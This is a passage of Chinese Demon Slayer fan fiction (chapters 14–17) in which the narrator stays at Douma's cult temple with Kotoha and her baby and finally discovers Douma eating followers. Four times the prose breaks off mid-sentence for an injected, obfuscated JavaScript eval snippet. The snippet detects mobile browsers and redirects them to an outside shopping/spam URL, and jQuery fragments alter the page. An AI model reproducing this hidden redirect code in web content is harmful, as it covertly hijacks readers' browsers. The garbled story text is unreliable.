“很温柔的”教主大人看向我们这边,琉璃般的双瞳在灯火中映上了一层暖色,他轻声说:“小琴叶,伊之助怎么样了?” “很乖哦。”女孩一脸幸福的笑,“我出来时已经睡着啦。” 注意到我不解的眼神,她马上解释道:“伊之助是我儿子,如果没有教主大人的收留,我们母子俩就要冻死在山里啦。今天已经太晚了,明天再抱来跟染小姐玩,小婴儿很可爱哟!” “你早点回去陪伊之助吧。”童磨斜靠在他的软座上,一只手托着腮,轻轻笑道,“醒来找不见你,他大概会哭起来吧,真的很吵。” “啊,抱歉抱歉,总是吵到您休息。”女孩内疚地说道,随即麻利地收好地上的茶壶托盘,对我说道:“我去给您准备房间和热水。虽然教主大人通常晚上还会工作,但这次出门这么多天,你们应该都累了,最好早点休息哦。” 她微微鞠了一躬,关上门退了出去。 14. 万世极乐(2) 我吐出一口气,发现童磨也在四处打量屋里的装饰,于是忍不住开口: “你…有什么想说的吗?” 童磨看了我一眼,似笑非笑地端起茶杯:“小染想听什么呢?” 我一时语塞。对于他的过去,我的确没有权利去打听,毕竟大家只是极端条件下组成的合作关系,能好聚好散已纯属不易。对于他人的私事,知道的越多越不利于保持关系中的清醒和理智。 “如你所见,我是以神子和教主的身份,在万世极乐教长大的。” 他竟然开口了,只是语气中失去了方才的温度,变得平淡而漠然。 “这是我愚昧的父母因为我特殊的发色和眼睛,而为我安排好的位置,整个教会都是围绕我而设立。你刚刚也见到他们了,是一群十分愚蠢的人类呢。” “每天他们会向我哭诉家里破产、没钱买药、挨打受气、活着如何绝望这些事,然后请求我指引他们摆脱烦恼,去往极乐净土。” “从记事起,都是这样的日常。所以也没什么好说的。” 我喝了口杯中的茶,茶里满是莲子的清苦味道。 “我以为你天生就是鬼呢。” 闻言他笑了,恢复了往日里那副不正经的嘴脸:“小染真是傻的可爱呢。哪有天生的鬼,就连无惨大人也是在药物的作用下变成鬼的,其他鬼是接受了他血液的转化。我遇到他那年大概是二十岁吧,啊,那时觉得他可真是个美丽又有趣的人呐。” “为什么选择变成鬼?” 眼看他又要陷入对前老板的无限敬仰中,我不得不出声打断了他。 童磨似乎有些惊讶地看着我。 “第一次有人问我这样的问题呢。”他手中的扇子在矮桌上有一搭没一搭地敲击着,“做鬼有什么不好?呐,小染,你也承认我做鬼做的很棒对不对?” 很棒,都做到地狱里来了,当然很棒。 这很童磨。你永远理解不了他跳脱的思维方式。 “并不是说做鬼不好。”我想了想,补充道:“是我看你和人类相处的明明挺好,要吃他们你不会感觉怪怪的吗?” “鬼都是吃人的呀。”童磨用扇子掩着脸,一幅笑的喘不上气的模样,“人类也是要吃肉的呀。说起来,以前小琴叶常说我脸色过于苍白,要多吃肉才能补充营养,所以经常煮肉汤给我喝。”他好像想起了什么极为好笑的往事,“诶呀,明明味道像泥水一样,却还要装作好喝的样子,真是让人相当头疼呢……” 我也忍俊不禁,想起他第一次被我逼着吃红花晶体的那副要哭的表情。虐待一个不定时需要大功率输出血鬼术的吃货,实在过于残忍。 “那位姑娘不错啊,很会照顾人的样子。” “是吧是吧,很可爱对不对?”童磨笑嘻嘻地说,“我第一次见到她时,她被打的脸都看不出模样,一只眼睛都几乎失明了,但怀里的孩子却包的严严实实,毫发无伤呢,那可是大冬天,她自己光着脚就跑出来了。”他的语气中仿佛流露出一丝怀念的意味,“之后发现她又漂亮又善解人意,唱歌也很好听,就留她和孩子一起住在教里了。她那个孩子也很可爱哦,长得跟她很像呢。” “是啊,”我微笑起来,“所以有时我也会想,为什么我们无法和人类和平共处呢?” 童磨的样子看起来像要喷出一口茶水。 “哈哈…小染你…” 他拿扇子指着我,笑的花枝乱颤。 “虽然完全不能理解你怎么会有如此天真可爱的想法,但人类的小孩在五岁以后都不会再说这样的话了!” “不,这其实无关人类。” 我望着回廊外的夜色。外面的灯火已经暗下去,也恢复了安静,夜似乎已经深了。繁星低垂,如同一双双无喜无悲的眼睛。 “童磨,你有没有想过,为何无论鬼也好,神也好,在几千年的时间中都未能彻底消灭人类?” “嗯?有趣的问题。”鬼收敛了表情,想了想,回答道:“因为他们格外弱小,所以反而非常团结?说实话,缠住你不放的时候确实很麻烦。” “对,但不完全是这个原因。另一个原因是,人类是不断演进的。一代人非常弱小而愚蠢,下一代人也许还是如此,但再下一代呢?以后的世代呢?这一代人可能对鬼无能为力,但过了五十年,他们的后代也许学会了用刀,再过一百年,他们学会了用火枪,用毒药,用各式各样五花八门的呼吸法……” 我转头注视着他:“而鬼和神灵,是凝固在时间中的存在,我们过分满足于自己漫长的生命,因而忽略了演进的可能。” 童磨目不转睛地盯着我,琉璃一般的眼睛里看不出任何情绪。 “你说的这话,无惨大人倒是也提起过。”他用扇子支着下巴,若有所思地开口,“他希望有朝一日鬼能行走在阳光下,啊,真是伟大的理想……虽然到他死也没能实现。他花费了几百年的时间研究人类的那些小东西,药物,仪器,甚至剖开他们的身体做研究。但没有用,青色彼岸花根本不存在。” “那位鬼王关注的只是他自己的生命,而不是同族的死活。毕竟在他看来,你们都是工具罢了。”我直率地指出这一点,“这本来无可厚非,生存乃是所有生命的第一本能,但作为王者而言,未免太过狭隘。如果我猜的没错,最终你们都输在他的短视上?” 童磨不置可否地笑了笑:“啊,说起来的确是……他不允许上弦们彼此合作和共享重要的情报,所有事都只能向他一人汇报,连任务也是分开交代。所以啦…”他装模作样地叹了口气,“会输也是意料之中的事,真可惜呀。” “倘若那位鬼王将精力从找那朵花上稍微分出一点,就能发现世上应该还有许多别的办法能让鬼之一族存续下去。相比之下,人类有精密的组织,有团队的合作,有代代相传的意志,有不断进化的技艺。停滞在自己的执念中,只固守着绝对的力量能压制一切的想法,早晚要走向毁灭吧。” “但也是没办法的事啊,鬼要吃人是本能,我们已经很低调了。”童磨脸上写满委屈,“我平时都是到游郭和罗生门河岸那种没人管的地方去觅食,已经很谨慎了,甚至经常吃不饱呢。” 啊,以你的食量,吃不饱很正常吧。 我默默生出了一丝同情。 “况且人类也好,哪怕是鬼杀队的柱也罢,都太弱小了。哪个上弦没吃过十几二十个柱?虽然我只爱营养丰富又可爱的女孩子,但柱的味道也不错哟。”恶鬼天真而残忍地舔了舔尖牙,“所以我为什么要考虑食物的想法呢?” 我摇了摇头:“这无关强弱,而是关乎人类情感中最为致命的一种,那就是仇恨。” “对于异类的戒备和仇恨,像他们对家人的爱一样,深深铭刻在他们的血脉里,即便会被比自己强大得多的存在消灭,也将不惜一切代价,哪怕燃烧自己的生命,也要与你不死不休。仇恨如同可以累积的毒药,一旦代代相传,就会让你永无宁日。” 我望着他,认真道:“即使是蚂蚁,只要数量足够多,也能咬死毒蛇。不斩断仇恨的链条,鬼是无法在这个人类占多数的世上存活下去的。好在那位无惨大人已经死了,但愿所有的仇恨都能随他一起烟消云散吧。” “……” 鬼突然安静下来。我抬头看他,发现那双七彩大眼睛里流下两行泪水。 ??? “原来是这样啊……小忍身上的那种感觉,原来是仇恨吗?小忍是恨我的吗?”童磨擦了把眼泪,满脸荡漾着幸福,“多么强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252291|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烈的感情啊,能让一个小女孩迸发出那样强大的力量!能被那样的女孩子杀死,我真的,真的好高兴啊……” ……没关系,我习惯了,这很童磨。 “啊,我想起来了,之前有个女孩子像是也说过‘想和鬼和平相处’这样的话。” 鬼玩味的挑起嘴角,“是小忍的姐姐呢,使用花之呼吸的女孩子,也很可爱,陪我玩了整整一夜呢,就算被折断的肋骨扎进肺里,都没法正常呼吸了,也坚持要战斗下去来着。” “啊……那时只觉得很可笑,我甚至没使用血鬼术就击碎了她的骨头,脆弱的好像纸片一样的人类,却说着什么与鬼和平相处,最后也还是死了。” 他歪头看向我,“但如果连小染你也这么说的话,也许我真的会考虑这件事哦?毕竟小染并不弱小,而且也很可爱。” 这次轮到我差点把茶水喷出去。 “咳,你还是不要用可爱这个词来形容我了,听着是用来形容食物的词呢。” “啊啦?”童磨迷惑地眨眨眼,“我以为你早就有被我吃掉的觉悟了,说到底,神灵什么的,我并不在意哟,而且明明闻上去比稀血还要香,为什么不试试呢?” “我只是个半神。”我端着茶杯绕过他,走到缘廊上靠着柱子坐下。那里的池塘中有成片的睡莲,但因为是夜里,花瓣都闭合着,只随着夜风传来一阵阵甜美的香气。 星光都落在水底,在涟漪下浮浮沉沉。 “而且灵魂并不完整,应该是当时的阴阳师做了什么手脚。”我叹息道,“大概是早年吃的小孩子太多了,所以应该没希望变成真正的神了,可能更接近人类说的‘妖怪‘吧,抱歉让你失望。” “小染想到哪里去了,作为神之子,怎么可能会对自己的追随者失望?” 童磨笑呵呵的说,也跟过来坐在我身边。两人望着漫天繁星发了一会儿呆,可能这一路真的战斗的过于辛苦,眼前的景象又太过令人放松,我竟然有了种昏昏欲睡的感觉。 那首梦里的童谣,却在脑海中回荡起来。 “昨夜的萤火虫, 都飞去哪里啦? 变成天上的星星, 变成山中的花。” 我跟着轻声哼唱起来, “星星没有眼睛, 花不会说话, 萤火虫啊萤火虫, 快点飞走吧。” “很奇怪的歌呢。”身旁的鬼突然打断了我,“是小染新学会的吗?好像之前并没有听你唱过。” “啊,是这个。” 我把左手伸给他看。手腕上,有根白色的丝带系着一枚银铃铛。 “在魂灵狩消失之后,就突然出现在我手上了。我们掉进血池以后我有段时间没有意识,就听到了这首歌。” 童磨捏起来看了看,很笃定地说:“是驱魔铃哦。” “哈?”我赶忙举起来细看,铃铛表面刻着一些很复杂的纹路,看起来倒像是某种花的花瓣,但似乎因为年代久远,又被人时时摩挲的缘故,篆刻线条早已模糊不清。 我晃晃手腕,“怎么可能?不响嘛!”又故意在他眼前晃了晃,“骗人的吧,在你面前都不会响呢。” “有些是不响的,里面会装上护身符之类的。”童磨耐心地解释道,“是小孩子才戴的东西呢,我见信徒的孩子佩戴过。” “小孩子吗……”我想起梦里那个女孩的背影,忽然又感到睡意沉沉地袭来。 “小孩子的话…可能是小白的东西吧……” “小白是谁?”鬼的声音柔和地回荡在我脑海中,催眠效果更好了。 “小白是…啊…是我很重要的人哦……”我靠着柱子闭上了眼睛,“好困,我要睡一下…你先回去啦…” 15. 万世极乐(3) 这次的梦境是一片碧青色的水域。我的视野在水面和水下浮浮沉沉,一会儿在岩石下,一会儿在芦苇旁,一会儿在莲叶中间游走。透过晃动的水面,我看见河中的小木桥上坐着个很小的女孩子,梳着武士家女孩的娃娃头,白色和服上绣着几朵小花。 “呀!” 她似乎看见了我,指着水面小声叫起来。 我赶忙缩回水下,一点也不想听人类小孩的鬼哭狼嚎。 “看到你了,不要躲啦!” 我才反应过来,最近我都是隐形状态,她为什么能看到我? “我一直是可以‘看到’的哟,就算是鬼或者幽灵,我也不会怕的。” 仿佛可以看透我的心思似的,女孩的声音得意洋洋地说道。 “你要不要出来,我有糖给你吃哦。” 哪个要吃人类的东西啊! 我在水面上露出一点点眼睛,看她竟然真的从怀里掏出个绣了樱花瓣的小包,从里面抖出几颗白色的东西来。 “给!” 她把那几颗东西从桥上丢下来,我将头伸出水面,飞快张嘴叼住,又赶快缩回水中。 啧,太少了,几乎没尝出味道,但似乎不是之前吃过的东西? “哇!你好漂亮呀!鳞片是青蓝色呢!” 被溅了一身水,她大惊小怪地叫起来,然后又咯咯地笑了。 我变成了什么奇怪的样子吗?她为什么不怕我? “我听他们说了,你是叫‘荒’是吗?”她坐在桥上,两条雪白的小腿从和服下伸出来,不安分地踢来踢去,“是荒川的‘荒’吗?听起来是好难写的字呀。” 我盯着她,不理解她说的话。 “父亲大人说,我马上就要搬来神社这里住了。以后就能经常见面啦,我们可以一起玩哟。” 她正说着,不远处忽然传来个怒气冲冲的声音: “你又在一个人嘟嘟囔囔说什么呢,都说了这样会让你父亲讨厌,你这孩子怎么就是不听?” 她朝我做了个鬼脸,乖乖把腿收了回去。有个穿着紫色织锦和服的女子走过来,粗暴地抓住她的手,把她拖起来就走,一路还在不停地抱怨: “我怎么生下你这样奇怪的孩子呢,整天就知道做一些疯疯癫癫的事!真不知道你父亲怎么想的,现在连看见我都躲着走!我又不是怪物,还不是因为生了你……” “诶呀,我的糖……”女孩似乎完全听不见她在说什么,只是向掉在桥面上的小布包伸着手,全然不顾一路被拽的跌跌撞撞。 唉,今天也是无法理解人类的一天呢。 我绕上桥面,咬住那个拳头大的小包。 看起来是很重要的东西,先帮她保存起来好了。 果然没过几天,就有两辆马车停在了神社门口。听到有不少人抬着东西进来时,我正盘在神殿后的房梁上睡午觉,快要到冬天了,蟋蟀的叫声消失了,温度有点低,让我一天到晚总想睡觉。 但他们开始摆上香案,又开始供奉各种东西时,我发现我想的太天真了——没完没了的诵经声真的吵死了! 我看见前些天的小女孩子被很多人簇拥着走进来,坐在神坛下面,接受所有人的叩拜,旁边跪坐着她的父母,一对看起来衣着颇为华贵的夫妻,其中的女子却不是我那天见到的女人。 他们叫那孩子“巫女大人”。 人类真奇怪啊,我想。明明眼里满是忌讳和厌恶,甚至是畏惧,却还能在忌讳的对象面前虔诚地跪拜和祈祷,这是一种怎样矛盾的心情呢? 我百无聊赖听着下面的聒噪。他们一直闹到太阳落山,才登上马车,如释重负似的走了。 有女侍进来点起了灯,拿来了一些点心,对那个还独自坐在神坛下的女孩子说了几句话,又退了出去。 于是空旷的大殿里就只剩下了我们俩。 她抱着膝盖坐在那里,看起来特别小的一只,甚至不够我一口吞的。 我把那个布包丢到地上。她似乎吓了一跳,马上抬起头,看到是我,眉眼立刻弯了起来。 “是你呀!你一直都在上面吗?好厉害!他们好像完全看不到你诶!” 那当然,怎么可能让人类看到我? 我顺着柱子爬到她身边,她捡起了地上的小包,然后开心地摸了摸我的头。 啊…人类的手,好小,好柔软…看起来好好吃… “是你帮我保管起来了吗?之前伤心了好久呢,谢谢你啦!”她从包里倒出颗糖,塞进嘴里,“这是小的时候母亲大人帮我做的,如果丢了的话很可惜呀。” 小时候?现在明明看起来也很小啊。人类到底怎么定义“小时候”? “大家都走了呢……”她望着门口呆呆地说,然后看了看我,又笑成了月牙,“不过没关系,我有小白陪我玩。忘了告诉你,我的名字叫白,以后我也叫你小白好不好?‘荒’太难记啦,我还不太会写,以后学会了再写好不好?” 什么东西,我不要人类给的名字啊! “不喜欢吗?”她的一双黑曜石似的眼睛亮晶晶地盯着我,“那叫什么好呢?小蓝?小黄?雪子?小樱?” ……拜托让这孩子闭上嘴吧! 感到一道光线刺入眼帘,我揉了揉眼睛,猛的坐了起来。 竟是一间四四方方的和室,棉纸的拉门中透出一缕晨曦,洒在榻榻米上,我的刀放在旁边,刀身下面压着叠好的白色小袖。 啊,琴叶真是贴心,连衣服都帮我叠…… ? 我火速低头,发现自己身上已经换成了水蓝色的浴衣。 我伸手一把拉开了纸门。 外面是庭院,似乎是个天气晴好的清晨,阳光斑驳地洒在草地上。琴叶拎着一只壶在浇花,大概是被我的动静吸引,扭头用那双清澈的绿眼睛看着我,突然脸上浮上了一丝意味不明的红晕。 “什……怎……我……”我破天荒地开始结巴。 她很快明朗地笑起来:“这颜色很适合染小姐呢,和您特别相称。” 我松了口气:“麻烦你啦,竟然还…还帮我换了衣服。” “啊…”不知道为什么她的脸更红了,“是,是啊。对了,您要不要吃点东西?有信众送来的萩饼哦。” “不用,我不饿。”我走到草地上,“我帮你浇花吧,你不是还要照顾小孩子吗?” 女孩笑了,朝后歪歪头,“伊之助很乖,所以我就把他带出来了,教主大人也很喜欢他,看到他的话一定很开心的。” 我才注意到她背后背着一个裹的很好的白布包,里面露出一张婴孩的小脸。 这么小的吗?真是好久没见到这么小的孩子了。 我本能的,默默咽了下口水。 “很可爱吧?染小姐要不要抱抱看?” 我慌的连忙后退:“不用不用,我抱不好的,怕万一摔了。” “这有什么不好抱的?”琴叶竟然真的解下了背上的孩子,“女孩子早晚有一天要成为母亲,即使是染小姐您这样厉害的女孩子,也是要结婚生子的呀!总不能一辈子做教主大人的护卫吧!现在就开始学一下抱小孩子,没坏处的。” 她把那个软绵绵的小布包塞到我怀里,我手足无措地接过来,可能因为感受到变化,婴孩开始小声吭叽,皱着眉睁开了眼睛,那是一双和琴叶一样明亮的绿色眼睛。 “诶!他醒了呀!”我惊讶地说,“眼睛真像你!” “那当然,伊之助是我儿子嘛!”琴叶骄傲地叉腰,“将来会长成教主大人那样聪明帅气又待人亲切的男子汉,是不是呀伊之助?” “………你还真是很喜欢他。”我不禁苦笑。 “不是您说的那种喜欢啦!”琴叶的脸又红了,“教主大人收留了我们,还帮我打发走了我那无赖的丈夫和婆婆,也不知道让他破费了多少……”她低声说,“我总想着多做一些力所能及的事,如此才能报答他的好意。虽然大家都说他是神之子,存在于世上的目的就是引领信众前往极乐净土,但我还是觉得,即使是神之子,也是需要报答的吧。对了,染小姐打算什么时候入教呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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男人温和好听的声线传来。我愣了一下,回过头去,看到童磨颀长的身影懒洋洋地倚在拉门的阴影处,像猫一样眯起眼睛注视着我们。 这家伙连衣服都没换。 啊,差点忘了,鬼是不需要睡觉的吧。 我努力把怀里的孩子往上托了托,回怼他:“那教主大人倒是过来示范给我看啊。” 他望着草地上斑驳的光影,只是微笑,一动不动。 “教主大人不太喜欢晒太阳哦。”琴叶笑着说,“没关系的,还是我来抱伊之助吧。” “过来啊,”我不为所动,“别像几百年没见过太阳一样。” 又能怎样啊,你死都已经死了一次。 男人像个孩子一样垂下眼睛,委屈地告状:“小琴叶,你看看她,一直都在欺负我,真的好过分哦。” “好啦好啦,”不知为何,琴叶的脸又有点红,从我怀里接过婴儿,“我去拿些茶来,你们慢慢赏花。那边的山茶开的很茂盛哟。” 琴叶一走,童磨就从屋子里走了出来。 可以看出他还是带了一丝犹豫的,可能真的是因为数百年未见阳光的缘故,又或者是鬼这种生物对太阳发自灵魂的抗拒,我从未见过这只强悍的鬼表现出如此小心翼翼的样子。 但最终,他站在了庭院中。 什么也没有发生。阳光顺着他白橡色的长发流淌,他抬起头的一瞬间,那双琉璃般透明的眼睛中,仿佛汇集了天地间所有的色彩。 “啊……”鬼伸出手,略带惊讶地看着穿过树枝落在手掌上的光点。 “我似乎有点可以理解无惨大人了呢。”他感叹道,“如果世上真有青色彼岸花,也许我也会为此付出一切呢。” “青色彼岸花,也可以理解为鬼的演化。演化都是非常缓慢的,但我们拥有最多的就是时间。”我对他微笑道,“我相信有一天,鬼可以演化到能与人类共存,也可以演化到能在阳光下行走,我们有的是时间去等待这一天的到来。” “啊,小染,连这种虚假的阳光都能让你想到如此诗意的事吗?”童磨的笑意里带了显而易见的讥讽,“你会喜欢我的极乐教,我是很感动呢,但一直沉浸在梦里,最后是会死的哦。” “既来之则安之。即便是虚假的阳光,能带来温暖也是好的。”我将手放在树影下的光斑中,“即便是真实的太阳,无法照亮黑暗中的世界,又有什么意义呢?您说呢,童磨大人?” 16. 万世极乐(4) 接下来的这些天我都待在这座莫名其妙的极乐寺。这里的一切都太过正常,看起来就是一间普通的寺院和一群普通的信徒,每日暮鼓晨钟,过着平静而枯燥的修行生活。我几乎无法想象童磨的童年和少年时代是在这样清心寡欲的地方度过的,这些人又是为何会将自己的人生交托给一个神坛之上的孩子。但信仰之事,一向超出常理,大抵是世人的烦恼和磨难太多,总要寻到发泄的办法,就像在我的记忆里那些在祈祷和欢呼中把小孩丢进荒川的人一样。人类的心思,着实难以揣度。 琴叶每天都准时来干活,不是浇花就是除草、端茶水送点心,甚至跪在地上将走廊的地板打理的一尘不染,顺便还会在花瓶里插好鲜花。其他信众则更为虔敬,教主在他们眼中就是真正的神,当然这除了与他特异的外貌有关,也离不开他过于聪慧的头脑和对人性之阴暗那种了然的通透。这实在是讽刺,一个仅仅外貌像人,内里全然非人的怪物,却几百年如一日做着安抚人心的宗教事业。然而这种事发生在童磨身上似乎又毫不令人意外,他本来就挺接近精神分裂,因此不论当神还是做鬼,他都游刃有余。 由此我也明白了童磨骨子里那种养尊处优的贵公子气质是怎么被娇惯出来的,谁被当成真神供养个两百年,大概都能镀上一层金,况且教主大人的藏书一点都不比普通神社少。 “《古事记》…《源氏物语》…《万叶集》?” “咦…这是什么?松尾芭蕉的《俳谐七部集》?藤原氏的《寸铁录》?噗,那家伙还看这种书吗?” “啊,染小姐也读过书吗?那些我都不认识呢。” 琴叶端着一盘子樱饼进来,看我在乱翻架上的书,笑着将盘子放在桌上。 “听说教主大人小时候很是勤奋好学呢。不过那些书很久都没人收拾了,可能会有尘土哦。快把手擦干净,来尝尝看这个。” 大概是做饭的手艺终于得到了认可,琴叶姑娘非常激动,这段日子每天都拿无数点心和小菜来投喂我,由于她厨艺实在出色,也因为我已经多年没吃过人类的食物,也乐此不彼的充当料理品鉴员,然后换来更多的投喂。 “好嘞!” 我高高兴兴地放下书准备去吃点心,却不小心碰掉了架上最边上的一本,捡起一看,是本相当古老的书了,纸已经完全发黄变脆,稍微一碰就脱开了书脊,因此散落了一地书页。 “啊哦,糟糕。等一下,我把这个弄好。” 联想那只鬼的年龄,这说不定是什么限量本古董,万一被他赖上我赔钱就不好了。 我一张张捡起散落的书页,捡了几页发现这居然是一本《心经》。一看封面果然写着《摩诃般若波罗蜜多心经》几个字。 “哈哈哈哈…哈哈哈。” 我拍着地狂笑起来,把琴叶吓了一跳。 “染小姐,怎么啦,发生什么事了吗?” “没,没有。”我笑的眼泪都快掉下来。这书出现在这里实在太违和了,和歌集子也就罢了,那只鬼连佛经也看吗? “这里居然有本《心经》,你家教主大人还真是涉猎甚广啊…”我边笑边对一脸迷惑的琴叶解释,谁想她一点都不意外。 “教主大人是神之子嘛,教里的早课晚课都是他安排的,他对这些经文很熟悉啊,这有什么好奇怪的。”琴叶撅起嘴,“染小姐不要看不起教主大人哦,他从小便通晓各类典籍,可是很厉害的。” 这倒是可以理解,作为鬼而言,拥有最多的便是时间,何况童磨又是个脑子虽然不正常但很好使的鬼。 只不过……我看了一眼琴叶。这孩子没救了。我想,还是不告诉这个单纯的姑娘她所信赖敬仰的教主大人的另外一面了。不管她为何出现在此时此地,我们还是都不要打破彼此的梦境为好。 我一页页理好那些凌乱的纸张,居然发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252293|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些书页旁还有模糊的字迹,看起来像是小孩子十分稚拙的笔迹,但因为年代过于久远,墨水褪色,已经几乎看不清了。 但依稀能看到抄写的是心经的第一句: ——观自在菩萨,行深般若波罗蜜多时,照见五蕴皆空,度一切苦厄。 我翻了一页,余光瞥见有什么白色的东西从书页间掉了下来。捡起来一看,似乎是一支连颜色都褪尽的花,因为早已脱水,薄的几乎透明的花瓣挤压在一起,已然看不出形状。 “染小姐,樱饼要干啦!” “来了来了。”我把书放回书架,回到桌前坐下,把那朵花摆在桌上,边吃樱饼边仔细端详。 “琴叶,这是什么花啊?” 琴叶凑过来,小心地拈起干花看了看。 “这就是樱花呀,虽然寺院这边不常见,但听说江户那边的有钱人家都有赏樱的习惯。染小姐喜欢花吗?我可以在院子里种一些牵牛子,到春天时开成一片,很漂亮哦。” 牵牛花,文人们喜欢叫它“朝颜”,因为是清晨绽放,午时便枯萎的花。 “不用了。”我咬了口樱饼,“那花太短命了。” 琴叶却摇摇头:“虽然短暂,但是很顽强的花哦,会一直开到入秋呢。”她温柔地笑道,“像人的生命一样,就算遇到糟糕的事也不要气馁,一定要坚持下去,才能等到幸福哟。” 她实在是个很有活力的人。我也不由自主地笑了:“是啊。” “呀,伊之助该吃奶了,我得回去了。染小姐要负责把这盘樱饼都吃光哦!” “什么!太甜了啦我不要!凭什么都是我吃啊!” “因为染小姐看起来就很喜欢吃点心啊,拜托啦!”琴叶双手合十,一副感激的模样,“我走啦,晚上给你做好喝的野菜汤。” 我愤怒地冲她的背影挥拳头,但女孩身着绿色和服的背影很快就消失在走廊里。 17. 万世极乐(5) 我是真心怀疑那些书都是摆设。之前就听闻童磨的工作相当忙碌,事实上这鬼的敬业程度简直令人感动,一点都不像平时那副懒散的样子。信众每天来了一拨又一拨,教主大人端坐神坛宝相庄严,连眼泪都流的比往日认真了些,让我不禁想知道在他还是上弦之二的时候,是如何平衡繁忙的教内工作+鬼王交代的任务+填饱自己无底洞的胃这三者间的关系的。 但这事很快就有了答案。 那天我去帮琴叶做大福饼,完事后装了一碟子边走边吃,琴叶调的红豆馅格外香甜,我有点感慨在地狱里蹲了两百年,人类的吃食都进化的如此美味,真是让鬼羡慕嫉妒恨。 所幸我还有味觉,想到这一点就无比欣慰。 吃着好吃的东西,我心情愉悦的哼着歌拉开了教主大人的房门,然后被一股浓烈的血腥味差点呛个跟头。 瞠目结舌地看着坐在一地狼藉前捧着颗还在颤抖的心脏仔细研究的童磨,我手里的大福滚了一地,两面都沾上了粘稠发黑的红色。 好在我反应迅速,一步踏进门里,火速拉上门。 “你疯啦?兔子还不吃窝边草呢!” 鬼一脸无辜:“小染为什么这么说?之前不是跟你说过吗,送信徒去往极乐净土也是我重要的工作哦。” 我捂住脑袋:“你说过,但你没说是直接吃掉……” 我果然太天真了,不知道什么时候已经习惯了童磨的这套话术。 所以“送去极乐”=吃掉 送可爱的女孩子去极乐=吃掉 送虔诚的信徒去极乐=吃掉 我知道鬼会吃人,我也知道”送去极乐”可能指的是杀人。 但我没想到他吃信徒吃的如此坦然。 这着实对我造成了不小的冲击,当然可能也是因为现场画面过于血腥,而我这些天又过的太安逸,忘记了眼前这只鬼格外能吃这个事实。 吃人在鬼神们中间不是什么稀罕事,很多宗教中供奉的神灵也会以活人为祭品。我自己也曾经做过同样的事,确实没有立场指责他。 但是吃掉自己熟悉的人,是不一样的。我不知道为什么不一样,但就是不一样。 “你这是杀人,不叫送去极乐。”我干脆地说,“杀人就是杀人,不用以那么好听的话来掩饰。况且这些都是你的信徒,是出于对你的爱和信赖,才供奉你的。” “我也爱他们呀。”鬼眨眨眼,把那颗心脏丢到一边,站了起来,“正是因为爱他们,不忍心看他们活着受苦,才要送他们前往极乐呀。况且这几个根本不是活人哦,活人的心脏是不会在离开身体以后还能跳这么久的。” 他漂亮的琉璃色眼睛又掉下几滴眼泪:“小染要是也不能理解的话,我会很伤心的。” 我深吸一口气:“作为鬼,你吃人无可厚非。但你不能以‘为人终结痛苦’为理由吃掉信任自己的人,除非对方是自愿的,你没有权利替他人做出这种关乎生死的决定。” “区别在哪里呢,小染?”童磨微笑着朝我走过来,“我很想听听看,你说的话,也许我会听哦。” 又来了,那种该死的压迫感。 果然鬼和鬼之间不应当太过亲近。我默默地想,走的太近,就会放松警惕,或者提高对于对方的期待。对于生着獠牙的人形怪物而言,放松警惕就意味着变成对方的一道菜,就如同森林中两头狭路相逢的猛兽一样。虽然不太相信童磨现在就会吃了我,但似乎每次我要放松警惕时,就会看到他美丽的外表下那头不知为何物的怪物,带着初入人世般的天真,冲我张开血盆大口。 你看起来好可爱啊,它说,我想撕碎你。 “因为如果失去了重要的东西,总有一天会后悔的。”我低下头,“抱歉,这里让我不舒服,我要出去一下。” 不等他反对,我走到门口拉开了门。 外面是满脸微笑的琴叶,她端着一只托盘,上面放着一只小锅子,就那么不管不顾地往里走:“染小姐,我做了新的……” 后半句淹没在盘碗坠地的凌乱响声中。 完了。 我感到头顶悬浮多日的那块巨石终于砸了下来。 “你!你们…教主大人……你们这是……” 琴叶坐倒在地上,全身失控地抖成一团,拼命想往门口挪动身体,但绵软的双腿似乎不听使唤,她脸上瞬间全是泪水,让那双碧绿的眸子愈加的亮,好像一面镜子,照出了两头怪物的狰狞身影。 是两头曾被她托付了信任乃至友爱的怪物。 “琴叶……” 我手足无措,第一反应竟然是回头求助性的去看童磨,却看到那只鬼袖手旁观地站在那里,微笑的脸丝毫没有变化。 “小琴叶,”他淡淡地开口,“忘了吗?你早已经死了哦。” 琴叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252294|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经懵了,只是疯狂流泪:“教主大人,教主大人…”她哭着哀求,却又像在质问,“为什么…?这是为什么?” 